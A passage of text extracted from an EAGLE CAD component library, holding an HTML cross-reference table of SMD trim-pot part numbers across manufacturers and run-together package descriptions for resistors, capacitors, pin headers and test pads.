-<BR>
-<BR>
-<BR>
50-2-X<BR>
50-4-X<BR>
50-3-X<BR>
-<BR>
-<BR>
-<BR>
64P<BR>
64W<BR>
64X<BR>
64Y<BR>
64Z<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
RT/RTR22<BR>
RT/RTR22<BR>
RT/RTR22<BR>
RT/RTR22<BR>
RJ/RJR22<BR>
RJ/RJR22<BR>
RJ/RJR22<BR>
RT/RTR26<BR>
RT/RTR26<BR>
RT/RTR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RT/RTR24<BR>
RT/RTR24<BR>
RT/RTR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
<FONT SIZE=4 FACE=ARIAL><B>SINGLE TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BOURN</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MURATA</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>SPECTROL</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MILSPEC</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3323P<BR>
3323S<BR>
3323W<BR>
3329H<BR>
3329P<BR>
3329W<BR>
3339H<BR>
3339P<BR>
3339W<BR>
3352E<BR>
3352H<BR>
3352K<BR>
3352P<BR>
3352T<BR>
3352V<BR>
3352W<BR>
3362H<BR>
3362M<BR>
3362P<BR>
3362R<BR>
3362S<BR>
3362U<BR>
3362W<BR>
3362X<BR>
3386B<BR>
3386C<BR>
3386F<BR>
3386H<BR>
3386K<BR>
3386M<BR>
3386P<BR>
3386S<BR>
3386W<BR>
3386X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
25P<BR>
25S<BR>
25RX<BR>
82P<BR>
82M<BR>
82PA<BR>
-<BR>
-<BR>
-<BR>
91E<BR>
91X<BR>
91T<BR>
91B<BR>
91A<BR>
91V<BR>
91W<BR>
25W<BR>
25V<BR>
25P<BR>
-<BR>
25S<BR>
25U<BR>
25RX<BR>
25X<BR>
72XW<BR>
72XL<BR>
72PM<BR>
72RX<BR>
-<BR>
72PX<BR>
72P<BR>
72RXW<BR>
72RXL<BR>
72X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
T7YB<BR>
T7YA<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
TXD<BR>
TYA<BR>
TYP<BR>
-<BR>
TYD<BR>
TX<BR>
-<BR>
150SX<BR>
100SX<BR>
102T<BR>
101S<BR>
190T<BR>
150TX<BR>
101<BR>
-<BR>
-<BR>
101SX<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ET6P<BR>
ET6S<BR>
ET6X<BR>
RJ-6W/8014EMW<BR>
RJ-6P/8014EMP<BR>
RJ-6X/8014EMX<BR>
TM7W<BR>
TM7P<BR>
TM7X<BR>
-<BR>
8017SMS<BR>
-<BR>
8017SMB<BR>
8017SMA<BR>
-<BR>
-<BR>
CT-6W<BR>
CT-6H<BR>
CT-6P<BR>
CT-6R<BR>
-<BR>
CT-6V<BR>
CT-6X<BR>
-<BR>
-<BR>
8038EKV<BR>
-<BR>
8038EKX<BR>
-<BR>
-<BR>
8038EKP<BR>
8038EKZ<BR>
8038EKW<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
3321H<BR>
3321P<BR>
3321N<BR>
1102H<BR>
1102P<BR>
1102T<BR>
RVA0911V304A<BR>
-<BR>
RVA0911H413A<BR>
RVG0707V100A<BR>
RVA0607V(H)306A<BR>
RVA1214H213A<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3104B<BR>
3104C<BR>
3104F<BR>
3104H<BR>
-<BR>
3104M<BR>
3104P<BR>
3104S<BR>
3104W<BR>
3104X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
EVMQ0G<BR>
EVMQIG<BR>
EVMQ3G<BR>
EVMS0G<BR>
EVMQ0G<BR>
EVMG0G<BR>
-<BR>
-<BR>
-<BR>
EVMK4GA00B<BR>
EVM30GA00B<BR>
EVMK0GA00B<BR>
EVM38GA00B<BR>
EVMB6<BR>
EVLQ0<BR>
-<BR>
EVMMSG<BR>
EVMMBG<BR>
EVMMAG<BR>
-<BR>
-<BR>
EVMMCS<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
EVMM1<BR>
-<BR>
-<BR>
EVMM0<BR>
-<BR>
-<BR>
EVMM3<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
62-3-1<BR>
62-1-2<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
67R<BR>
-<BR>
67P<BR>
-<BR>
-<BR>
-<BR>
-<BR>
67X<BR>
63V<BR>
63S<BR>
63M<BR>
-<BR>
-<BR>
63H<BR>
63P<BR>
-<BR>
-<BR>
63X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
RJ/RJR50<BR>
RJ/RJR50<BR>
RJ/RJR50<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
</TABLE>
<P> <P>
<TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3>
<TR>
<TD COLSPAN=7>
<FONT color="#0000FF" SIZE=4 FACE=ARIAL><B>SMD TRIM-POT CROSS REFERENCE</B></FONT>
<P>
<FONT SIZE=4 FACE=ARIAL><B>MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BOURNS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>TOCOS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>AUX/KYOCERA</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3224G<BR>
3224J<BR>
3224W<BR>
3269P<BR>
3269W<BR>
3269X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
44G<BR>
44J<BR>
44W<BR>
84P<BR>
84W<BR>
84X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
ST63Z<BR>
ST63Y<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
ST5P<BR>
ST5W<BR>
ST5X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=7>
</TD>
</TR>
<TR>
<TD COLSPAN=7>
<FONT SIZE=4 FACE=ARIAL><B>SINGLE TURN</B></FONT>
</TD>
</TR>
<TR>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BOURNS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>TOCOS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>AUX/KYOCERA</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3314G<BR>
3314J<BR>
3364A/B<BR>
3364C/D<BR>
3364W/X<BR>
3313G<BR>
3313J<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
23B<BR>
23A<BR>
21X<BR>
21W<BR>
-<BR>
22B<BR>
22A<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ST5YL/ST53YL<BR>
ST5YJ/5T53YJ<BR>
ST-23A<BR>
ST-22B<BR>
ST-22<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ST-4B<BR>
ST-4A<BR>
-<BR>
-<BR>
-<BR>
ST-3B<BR>
ST-3A<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
EVM-6YS<BR>
EVM-1E<BR>
EVM-1G<BR>
EVM-1D<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
G4B<BR>
G4A<BR>
TR04-3S1<BR>
TRG04-2S1<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
DVR-43A<BR>
CVR-42C<BR>
CVR-42A/C<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
</TABLE>
<P>
<FONT SIZE=4 FACE=ARIAL><B>ALT = ALTERNATE</B></FONT>
<P>
<P>
</td>
</tr>
</table>
</BODY></HTML><b>Trimm resistor</b> BOURNS<p>
0,1W 25%>NAME>VALUE<b>Trimm resistor</b> MEGGIT>NAME>VALUE<b>Trimm resistor</b> MEGGIT>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
0,25W, 20%>NAME>VALUE<b>Trimm resistor</b> VISHAY>NAME>VALUE<b>Trimm resistor</b> AVX>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
SMD Cermet trimmer>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
Side Adjust>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
Side Adjust>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
Top Adjust>NAME>VALUE<b>Trimm resistor</b> MEGGIT>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
abgedichtet nach <b>IP67</b>>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
abgedichtet nach <b>IP67</b>>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
abgedichtet nach <b>IP67</b>>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
abgedichtet nach <b>IP67</b>>NAME>VALUE<b>Trimm resistror</b> VISHAY<p>
seales container, solder immerson IP67>NAME>VALUE<b>Trimm resistror</b> VISHAY<p>
seales container, solder immerson IP67>NAME>VALUE<b>Trimm resistror</b> VISHAY<p>
seales container, solder immerson IP67>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
Top Adjust>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
Cermet MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>
waschfest MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
waschfest MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> BOURNS>NAME>VALUE<b>Trimm resistor</b> BOURNS>NAME>VALUE<b>Trimm resistor</b> Spectrol<p>
waschfest MIL-R-22097>NAME>VALUE<b>Trimm resistor</b> BOURNS<p>>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
abgedichtet nach IP67>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
Cermet, abgedichtet nach IP67>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
Cermet, abgedichtet nach IP67>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
Cermet, abgedichtet nach IP67>NAME>VALUE<b>Trimm resistor</b> VISHAY<p>
Cermet, abgedichtet nach IP67>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>RESISTOR</b><p>
chip, wave soldering>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.10 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.25 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.12 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.10 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.25 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.25 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.12 W>NAME>VALUE<b>RESISTOR</b><p>
MELF 0.25 W>NAME>VALUE<b>RESISTOR</b><p>
type 0204, grid 5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0204, grid 7.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 10 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 12 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 15mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 2.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0207, grid 7.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0309, grid 10mm>NAME>VALUE<b>RESISTOR</b><p>
type 0309, grid 12.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0411, grid 12.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0411, grid 15 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0411, grid 3.81 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0414, grid 15 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0414, grid 5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0617, grid 17.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0617, grid 22.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0617, grid 5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0922, grid 22.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0613, grid 5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0613, grid 15 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0817, grid 22.5 mm>NAME>VALUE0817<b>RESISTOR</b><p>
type 0817, grid 6.35 mm>NAME>VALUE0817<b>RESISTOR</b><p>
type V234, grid 12.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type V235, grid 17.78 mm>NAME>VALUE<b>RESISTOR</b><p>
type V526-0, grid 2.5 mm>NAME>VALUE<b>Mini MELF 0102 Axial</b>>NAME>VALUE<b>RESISTOR</b><p>
type 0922, grid 7.5 mm>NAME>VALUE0922<b>CECC Size RC2211</b> Reflow Soldering<p>
source Beyschlag>NAME>VALUE<b>CECC Size RC2211</b> Wave Soldering<p>
source Beyschlag>NAME>VALUE<b>CECC Size RC3715</b> Reflow Soldering<p>
source Beyschlag>NAME>VALUE<b>CECC Size RC3715</b> Wave Soldering<p>
source Beyschlag>NAME>VALUE<b>CECC Size RC6123</b> Reflow Soldering<p>
source Beyschlag>NAME>VALUE<b>CECC Size RC6123</b> Wave Soldering<p>
source Beyschlag>NAME>VALUE<b>RESISTOR</b><p>
type RDH, grid 15 mm>NAME>VALUERDH<b>RESISTOR</b><p>
type 0204, grid 2.5 mm>NAME>VALUE<b>RESISTOR</b><p>
type 0309, grid 2.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 2.4 x 4.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 2.5 x 5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 3 x 5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 4 x 5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 5 x 5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm, outline 6 x 5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 mm + 5 mm, outline 2.4 x 7 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 + 5 mm, outline 2.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 + 5 mm, outline 3.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 + 5 mm, outline 4.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 2.5 + 5 mm, outline 5.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 2.4 x 4.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 2.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 4.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 3 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 5.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 7.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
Horizontal, grid 5 mm, outline 7.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 7.5 mm, outline 3.2 x 10.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 7.5 mm, outline 4.2 x 10.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 7.5 mm, outline 5.2 x 10.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 10.2 mm, outline 4.3 x 13.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 10.2 mm, outline 5.4 x 13.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 10.2 mm, outline 6.4 x 13.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 10.2 mm + 15.2 mm, outline 6.2 x 18.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 15 mm, outline 5.4 x 18.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 15 mm, outline 6.4 x 18.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 15 mm, outline 7.2 x 18.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 15 mm, outline 8.4 x 18.3 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 15 mm, outline 9.1 x 18.2 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 22.5 mm, outline 6.2 x 26.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 22.5 mm, outline 7.4 x 26.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 22.5 mm, outline 8.7 x 26.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 22.5 mm, outline 10.8 x 26.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 22.5 mm, outline 11.3 x 26.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 9.3 x 31.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 11.3 x 31.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 13.4 x 31.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 20.5 x 31.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 32.5 mm, outline 13.7 x 37.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 32.5 mm, outline 16.2 x 37.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 32.5 mm, outline 18.2 x 37.4 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 37.5 mm, outline 19.2 x 41.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 37.5 mm, outline 20.3 x 41.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 5 mm, outline 3.5 x 7.5 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 37.5 mm, outline 15.5 x 41.8 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 7.5 mm, outline 6.3 x 10.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 15.4 x 31.6 mm>NAME>VALUE<b>CAPACITOR</b><p>
grid 27.5 mm, outline 17.3 x 31.6 mm>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 0204 Reflow solder</b><p>
Metric Code Size 1005>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 0603 Reflow solder</b><p>
Metric Code Size 1608>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 0805 Reflow solder</b><p>
Metric Code Size 2012>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 1206 Reflow solder</b><p>
Metric Code Size 3216>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 1210 Reflow solder</b><p>
Metric Code Size 3225>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 1812 Reflow solder</b><p>
Metric Code Size 4532>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 1825 Reflow solder</b><p>
Metric Code Size 4564>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 2220 Reflow solder</b><p>
Metric Code Size 5650>NAME>VALUE<b>Ceramic Chip Capacitor KEMET 2225 Reflow solder</b><p>
Metric Code Size 5664>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE<b>Trimm resistor</b><B>RESISTOR</B>, American symbol<B>CAPACITOR</B>, European symbol<b>Pin Header Connectors</b><p>
<author>Created by librarian@cadsoft.de</author><b>PIN HEADER</b>>NAME>VALUE<b>PIN HEADER</b>>NAME>VALUE<b>PIN HEADER</b>>NAME>VALUE<b>PIN HEADER</b>>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE<b>PIN HEADER</b><b>PIN HEADER</b><b>PIN HEADER</b><b>Test Pins/Pads</b><p>
Cream on SMD OFF.<br>
new: Attribute TP_SIGNAL_NAME<br>
<author>Created by librarian@cadsoft.de</author><b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST 